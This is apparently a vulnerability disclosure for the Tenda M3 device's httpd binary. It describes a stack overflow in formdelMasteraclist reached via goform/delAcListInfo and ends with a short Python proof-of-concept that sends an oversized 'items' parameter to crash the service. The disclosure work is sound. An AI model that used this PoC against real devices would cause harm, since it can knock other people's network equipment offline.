Overview

• The device's official website: https://www.tenda.com.cn/product/M3.html
• Firmware download website: https://www.tenda.com.cn/download/detail-3133.html

Affected version

V1.0.0.12(4856)

Vulnerability details

httpd in directory /bin has a stack overflow vulnerability. The vulnerability occurrs in the formdelMasteraclist function, which can be accessed via the URL goform/delAcListInfo.

function formdelMasteraclist gets the POST parameter items and passes it to function sub_53778 as the first argument.

This function splits the first argument with a , and then splits it into a buffer by calling sscanf function without checking its length.

PoC

Poc of Denial of Service(DoS)

import requests

data = {
    b"items": b'A'*0x400 + b':' + b'A'*0x400 + b',',
}
cookies = {
    b"user": "admin"
}
res = requests.post("http://127.0.0.1/goform/delAcListInfo", data=data, cookies=cookies)
print(res.content)